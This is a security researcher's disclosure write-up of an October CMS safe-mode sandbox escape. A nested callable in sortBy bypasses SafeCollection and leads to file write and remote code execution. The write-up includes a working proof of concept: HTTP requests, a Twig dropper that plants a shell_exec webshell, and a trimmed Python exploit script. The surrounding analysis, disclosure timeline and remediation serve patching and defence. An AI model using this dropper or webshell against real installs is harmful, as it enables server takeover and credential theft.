← ../ octobercms-safemode-sandbox-rce
chu@antisec:~/research$ cat octobercms-safemode-sandbox-rce
october cms — safe-mode twig sandbox escape → rce · a bypass of the cve-2026-22692 fix
october's
cms.safe_modehas one job: let semi-trusted backend users edit template markup without ever running server-side php. the proxy that enforces it,SafeCollection, strips callables from collection method arguments — but only at the top level. laravel'sCollection::sortBy()happily accepts an array of comparisons, so a callable hidden as[[['Class','method']]]sails past the filter and gets invoked with two attacker-controlled strings. point it atFile::put()and you have an arbitrary file write; and sincecheckSafeMode()only runs at save time, a.htmwritten straight to disk with a php code section is never inspected — request it and it runs. safe-mode off, rce as www-data, from an ordinary content-editor account. it's a bypass of the cve-2026-22692 fix; the vendor tracked it as ghsa-8rgj-g632-3qfp and shipped the fix in 4.2.25.
the bug
a callable one level too deepsafe mode has two jobs: block the php code section of cms templates, and render the
remaining twig through a sandbox, System\Twig\SecurityPolicy. the policy is permissive
everywhere except method calls — it allow-lists every method on a handful of framework
classes, Illuminate\Support\Collection among them. to keep the obvious
collection.map('system') from working, october casts the receiver of each method call
to a safe proxy: a Collection becomes a SafeCollection that nulls callable
arguments. and collect() stays available in safe mode, so an attacker can build a
SafeCollection whose items they fully control. that proxy is the whole wall.
// __call() — every allow-listed collection method funnels through here
public function __call($method, $parameters)
{
if (in_array($method, $this->blockedMethods)) { // mapInto / pipeInto / toResourceCollection
return $this; // no-op'd since cve-2026-22692
}
foreach ($parameters as &$param) {
if (
is_callable($param) && // <-- TOP-LEVEL check only
(!in_array($method, $this->hybridCallableArgs) || !is_string($param))
) {
$param = null; // callables get nulled
}
}
return $this->forwardCallTo($this->collection, $method, $parameters);
}
the guard walks each argument and nulls anything is_callable() flags — applied to the
argument as a whole, never recursing into arrays. a direct
map('system') is correctly killed. but is_callable([[['Class','method']]])
is false: the outer value is a one-element array, not a
[target, method] pair. a callable buried one level deeper is never stripped.
laravel, meanwhile, ships a method that will call one. sortBy() accepts an array of
comparisons; an array that isn't itself callable routes to sortByMany(), whose
comparator invokes whatever sits at $comparison[0] when it's a non-string callable —
with two collection items as arguments.
// :1586
public function sortBy($callback, $options = SORT_REGULAR, $descending = false)
{
if (is_array($callback) && ! is_callable($callback)) { // [[['Class','m']]] -> not callable
return $this->sortByMany($callback, $options); // -> multi-comparison path
} ...
}
// :1623
protected function sortByMany(array $comparisons = [], int $options = SORT_REGULAR)
{
$items = $this->items;
uasort($items, function ($a, $b) use ($comparisons, $options) {
foreach ($comparisons as $comparison) {
$comparison = Arr::wrap($comparison);
$prop = $comparison[0]; // = ['Class','method'] — smuggled
if (! is_string($prop) && is_callable($prop)) {
$result = $prop($a, $b); // INVOKED with attacker items
} ...
put the two halves together and a single expression in sandboxed markup yields an arbitrary
Class::method(string, string):
{{ collect(['A','B']).sortBy([[['Illuminate\\Support\\Facades\\Log','info']]]) }}
{# => Log::info('A','B') — the callable was never stripped; sortByMany invoked it #}
safe-mode twig markup
│ {{ collect([...]).sortBy([[['Class','method']]]) }}
▼
SecurityPolicy allow-list — Collection methods pass
│ castMethodObjectToSafeObject: Collection → SafeCollection
▼
SafeCollection::__call — is_callable([[['Class','method']]]) === false
│ top-level check only; the nested pair survives
▼
Collection::sortByMany — $comparison[0] is callable → $prop($a, $b)
│ Class::method(item0, item1), both attacker-controlled
▼
File::put(path, '<?php … ?>') → .htm with a php code section on disk
│ checkSafeMode() runs at SAVE time only — never saw this file
▼
GET /poc-shell → CodeParser compiles onStart() → rce as www-data
why the cve-2026-22692 fix didn't cover this
the blocklist stopped at mapIntocve-2026-22692 (ghsa-m5qg-jc75-4jp6) was fixed by adding SafeCollection and putting
mapInto on its blocklist (v3.7.13 / v4.1.5). for top-level arguments
that fix works fine — verified: the naive callable gets nulled and the call dies with a type error.
the gap is that any collection method accepting arrays containing callables puts the
primitive right back. sortBy/sortByDesc, through
sortByMany, are the ones used here; the general audit is "every method that
Arr::wrap()s an argument and then treats element 0 as a callable". patching the
method list is whack-a-mole by construction.
there's a second gap in the same spirit: the safe cast only wraps three receiver types —
Collection, Session\Store and Request. other allow-listed
classes that hand a callable to an inner collection aren't wrapped at all;
AbstractPaginator::through() and ComponentAttributeBag::filter() both
look like the same bug waiting in a different room.
the pieces are older than the advisory window, too. SafeCollection, with its
top-level-only filter, has been in october/rain since v3.5.0 and has
never blocked sortBy; the collect() helper and the
receiver cast the chain relies on landed in october/october at v4.0.0; and at
v4.2.21 the class moved to System\Twig\SecurityPolicy\SafeCollection. the published
advisory scopes it as ≥ 4.2.0, < 4.2.25, and that's the range to patch against.
confirmed dynamically on 4.2.24, the latest release at report time.
poc
4.2.24 · safe_mode=true · trimmedtarget: a clean october cms 4.2.24 install with cms.safe_mode = true.
starting point: an authenticated low-privilege content editor — editor.cms_pages only,
no php/developer permission, no superuser. every request goes through burp; the chain below is
trimmed, and no credentials are published here. run things like this only against an install you own.
step 1 — sign in as the content editor through the backend form (csrf and all). an ordinary account an operator would hand to any content person.
step 2 — save a cms page through the backend editor api, sending
only markup. twig is allowed in safe mode; the php code
section is the only thing the save-time check inspects, and there isn't one. the markup is the
dropper: it uses the escape with the File::put gadget to plant a second page that
does carry a php code section.
POST /admin/editor HTTP/1.1
X-AJAX-HANDLER: onCommand
X-CSRF-TOKEN: <csrf>
extension=cms&command=onSaveDocument
&documentMetadata[type]=cms-page&documentMetadata[theme]=demo
&documentData[fileName]=poc-dropper.htm&documentData[settings][url]=/poc-dropper
&documentData[markup]=<the dropper twig below>
HTTP/1.1 200 OK
{% set nl = "\n" %}{% set eq = "==" %}
{% set php = '<?php' ~ nl ~ 'function onStart() { return Response::make("POC-OUT-START".shell_exec($_SERVER["HTTP_X_POC_CMD"] ?? "id")."POC-OUT-END"); }' ~ nl ~ '?>' %}
{% set body = 'url = "/poc-shell"' ~ nl ~ eq ~ nl ~ php ~ nl ~ eq ~ nl ~ 'webshell' ~ nl %}
{% set r = collect(['<webroot>/themes/demo/pages/poc-shell.htm', body])
.sortBy([[['Illuminate\\Support\\Facades\\File', 'put']]]) %}
DROPPER-OK
{# the "==" separators are built as twig strings so SectionParser never splits the outer template #}
step 3 — render the dropper. the sandbox escape calls
File::put() and the webshell page lands on disk.
GET /poc-dropper → 200 DROPPER-OK. the write happened inside the sandbox that was supposed to make it impossible.step 4 — the dropped page's php code section was written, not
saved, so no model ever ran checkSafeMode() on it. requesting it executes.
GET /poc-shell HTTP/1.1
X-POC-CMD: id
HTTP/1.1 200 OK
POC-OUT-STARTuid=33(www-data) gid=33(www-data) groups=33(www-data)POC-OUT-END
id comes back as uid=33(www-data). code execution as the web user, from a content-editor login.the whole chain, automated — sign in, save the dropper, trigger it, run a command —
in poc_october_safemode_rce.py. trimmed to the parts that matter:
#!/usr/bin/env python3
# poc_october_safemode_rce.py — october cms safe-mode sandbox escape → rce (< 4.2.25)
# trimmed; the full script ships with the advisory. target installs you own only.
# the dropper: plain twig MARKUP, no php `code` section — the save-time
# safe-mode check only inspects `code`, so the page saves cleanly.
DROPPER_MARKUP = r'''{% set nl = "\n" %}
{% set eq = "==" %}
{% set php = '<?php' ~ nl ~ 'function onStart() { return Response::make("POC-OUT-START".shell_exec($_SERVER["HTTP_X_POC_CMD"] ?? "id")."POC-OUT-END"); }' ~ nl ~ '?>' %}
{% set body = 'url = "/poc-shell"' ~ nl ~ eq ~ nl ~ php ~ nl ~ eq ~ nl ~ 'webshell' ~ nl %}
{% set r = collect(['<webroot>/themes/demo/pages/poc-shell.htm', body])
.sortBy([[['Illuminate\\Support\\Facades\\File', 'put']]]) %}
DROPPER-OK
'''
# 1 — authenticate as a low-priv cms editor (backend signin form + csrf)
# 2 — save the dropper through the backend editor api (markup only)
# 3 — GET the dropper → the escape invokes File::put → the shell page is on disk
s.get(f"{base}/{dropper_url}")
# 4 — the dropped page's php code section was written, not saved: never checked
r = s.get(f"{base}/{shell_url}", headers={"X-POC-CMD": "id"})
out = re.search(r"POC-OUT-START(.*?)POC-OUT-END", r.text, re.S).group(1)
# → uid=33(www-data) gid=33(www-data) groups=33(www-data)
# → REMOTE CODE EXECUTION CONFIRMED
--cmd 'id': login, save, escape, rce.
--cmd 'env | grep SAFE' → CMS_SAFE_MODE=true. the rce ran with safe mode on.the contrast that proves the sandbox was genuinely active, not accidentally off:
the naive collect(['x']).map('system') is correctly blocked — the callable gets nulled —
and env()/config() are pulled from twig in safe mode. only the nested
sortBy form slips through.
map('system') → 500, Argument #1 ($callback) must be of type callable, null given. the proxy did its job at the top level. that's the only level it does it at.impact
editor.cms_pages → www-data- remote code execution as the web user→ arbitrary php as www-data, from a content-editor session
- the safe-mode promise, void→ "templates can't run server code" is the control's entire job; one expression undoes it
- privilege escalation→ markup editing (
editor.cms_pages) to os-level access, no php/developer or superuser rights held - full compromise from there→ arbitrary file read/write, the database,
.env(APP_KEY, db credentials), all tenant content
gadget generality: File::put is just the gadget used here — any
(string, string) method that does something useful (a writer, a mailer, a query runner)
works the same, so a patch limited to File::put would have been theatre. october's
4.2.25 fix strips callables recursively instead, which is the right shape. same sandbox, third
escape: cve-2023-44382, cve-2026-22692 — whose fix this bypasses — and now
ghsa-8rgj-g632-3qfp. that pattern points at the allow-list-then-subtract design, not at any single
method. distinct from cve-2026-26274 (the db-write safe-mode bypass) and the twig-core
cve-2026-24425 (the |sort/|filter/|map/|reduce
filters under a SourcePolicyInterface); this one rides the .sortBy() method.
october rates it low — safe mode is opt-in, and where it's off a markup editor can run php by
design. fair. but for installs that switched safe mode on precisely to contain editors, the control
fails all the way to code execution; scored here as cvss 3.1 8.8
(AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H). the label was never the interesting part.
disclosure timeline
coordinated · closed- 2026-06-02vendor ships 4.2.24 the latest release at report time — and the build the whole chain was validated against.
- 2026-06-08discovery + private report
end-to-end validation on a clean 4.2.24 with
cms.safe_mode = true(escape → file write →idas www-data), then a coordinated report to the october cms security team via github private vulnerability reporting. 90-day window acknowledged; details held until a fix shipped. - 2026-06-09vendor triage
reproduced and confirmed; rated low under october's trust model (researcher
score: 8.8 high). fix assigned to 4.2.25; advisory
ghsa-8rgj-g632-3qfpdrafted with researcher credit to repo4chu. - v4.2.25fix released + advisory public
SafeCollectionnow strips callables recursively before forwarding, keeping the hybrid string-keep behaviour forcontains/groupByand friends. advisory published with credit. - 2026-09public disclosure this page.
remediation
4.2.25 closes itif you run october cms
- upgrade to 4.2.25 or later. the recursive callable strip in
SafeCollectionis the actual fix — nothing short of it closes this. - treat cms template-editing permissions (
editor.cms_pagesand siblings) as developer-level trust, safe mode on or not. don't hand them to users you wouldn't hand a shell. - hunt: templates containing
sortBy(with nested arrays, unexpected new.htmfiles in theme directories, writes outside the theme tree.
if you maintain a sandbox
- strip callables recursively, or reject any argument containing a callable at any depth. a top-level check is a suggestion, not a filter.
- explicitly neutralize the array-of-comparisons forms (
sortBy/sortByDescviasortByMany). - treat the allow-list as deny-by-default: wrap or refuse every allow-listed class that can hand
a callable to an inner collection —
AbstractPaginator::through()andComponentAttributeBag::filter()are the same gap one room over. - enforce safe mode at render time in
CodeParsertoo: refuse to compile a non-empty php code section while it's on, so a stray on-disk.htmcan't execute on its own, independent of any sandbox bug.
function stripCallables($value) {
if (is_callable($value)) return null;
if (is_array($value)) return array_map([$this, 'stripCallables'], $value); // recurse
return $value;
}
// applied to every argument in SafeCollection::__call() before the forward —
// a callable can't reach sortByMany() however deeply it's nested
credit: found and reported by chu, june 2026 — credited by the vendor as repo4chu on
ghsa-8rgj-g632-3qfp, fix shipped in 4.2.25. reported privately through github's coordinated vulnerability reporting; no exploit details went public before the patch. the advisory is ghsa-only, no cve assigned. questions → contact.